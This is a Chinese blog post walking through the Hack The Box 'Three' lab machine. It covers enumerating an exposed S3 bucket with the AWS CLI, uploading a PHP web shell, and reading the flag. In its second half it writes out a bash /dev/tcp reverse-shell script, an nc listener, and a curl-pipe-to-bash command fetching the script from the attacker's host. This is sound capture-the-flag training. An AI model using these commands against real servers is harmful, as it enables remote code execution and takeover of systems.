Hackthebox Three 靶机(starting point)

题目显示的难度是very easy,但对我来说是difficult,废话少数,来看一下怎么做吧。

先完成引导的题目,除了flag,其他题目难度都不大,只是在使用aws s3工具时比较迷茫,例如不知道需要加--endpoint=http://s3.thetoppers.htb 参数。

有了工具并能连接上aws之后,我们需要做什么呢?

我们需要找到这个工具是否存在漏洞,或者能否利用这个工具上传木马文件,进而获取目标服务器的控制权限,因为我们的目的是获取flag,只有能随意读取目标服务器的文件,我们才能找到flag

aws工具可以列出所有bucket对象

aws --endpoint=http://s3.thetoppers.htb s3 ls

进一步列出bucket的内容

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

在浏览器访问找到的index.php和.htaccess文件

 

既然可以访问到对应的文件,我们下一步看看能不能上传shell到服务器 

看到aws的命令可以上传文件到网站

// 将当前目录里的 MyFile.txt文件拷贝到 s3://my-bucket/MyFolder
$ aws s3 cp MyFile.txt s3://my-bucket/MyFolder/


// 将s3://my-bucket/MyFolder所有 .jpg 的文件移到 ./MyDirectory
$ aws s3 mv s3://my-bucket/MyFolder ./MyDirectory --exclude '*' --include '*.jpg' --recursive

// 列出  my-bucket的所有内容
$ aws s3 ls s3://my-bucket

// 列出my-bucket中MyFolder的所有内容
$ aws s3 ls s3://my-bucket/MyFolder

// 删除 s3://my-bucket/MyFolder/MyFile.txt
$ aws s3 rm s3://my-bucket/MyFolder/MyFile.txt

// 删除 s3://my-bucket/MyFolder 和它的所有内容
$ aws s3 rm s3://my-bucket/MyFolder --recursive

参考如上代码,我们可以构造下一步的payload,上传shell.php到服务器

 浏览器访问shell.php,可以执行!!!

 浏览器输入以下命令获取flag

http://thetoppers.htb/shell.php?cmd=cat%20../flag.txt

 

 

其实以上就足够了,但是看了一下Walkthrough,发现一个比在浏览器运行命令更酷的方式,就是反弹shell

可以参考以下两位大佬:

https://www.zhihu.com/tardis/zm/art/166165803?source_id=1005

https://becivells.github.io/2019/01/bash_i_dev_tcp/

想要获得反弹shell,需要几样东西,nc监听端口,python打开服务监听,客户端发起请求

在kali上创建如下shell.sh文件,注意这个文件存放的位置要和下面python服务运行时的位置一样

#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1

监听1337端口

nc -nvlp 1337

python在8000端口上启动一个web服务器,并托管我们写的bash文件

python3 -m http.server 8000

在浏览器访问刚刚创建的shell.sh文件

http://thetoppers.htb/shell.php?cmd=curl%20<YOUR_IP_ADDRESS>:8000/shell.sh|bash

在kalli的nc窗口可以接受到反弹shell

 

 

然后奇怪的地方在于我想在浏览器上直接通过cmd参数连接到kali的nc端口,但是nc始终连接不了,望路过的大佬指点

10.10.14.162是kali的openvpn的ip

如下

http://thetoppers.htb/shell.php?cmd=bash -i >& /dev/tcp/10.10.14.162/1337 0>&1

 

 

posted @ 2023-07-25 14:31  wazjr  阅读(289)  评论(0编辑  收藏  举报